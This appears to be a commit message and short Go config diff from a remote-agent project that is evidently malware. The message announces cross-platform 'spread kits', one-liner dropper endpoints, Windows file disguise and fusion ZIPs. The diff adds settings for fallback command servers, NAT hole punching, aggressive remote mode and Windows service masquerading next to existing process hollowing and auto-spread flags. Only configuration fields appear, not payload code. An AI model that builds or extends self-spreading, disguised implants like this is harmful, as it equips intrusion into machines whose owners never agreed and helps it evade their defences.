Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

agent/config/config.go

@@ -50,6 +50,14 @@ type BuiltinConfig struct {
 	ProcessHollowing bool
 	MeshP2P          bool
 	AutoSpread       bool
+	HolePunch        bool
+	RemoteAggressive bool
+	// Backup server URLs — tried in order if primary fails
+	BackupServerURLs []string
+	// Windows service masquerade (ignored on other OSes)
+	ServiceMasquerade bool
+	ServiceName       string
+	ServiceDonor      string
 }
 
 type RuntimeConfig struct {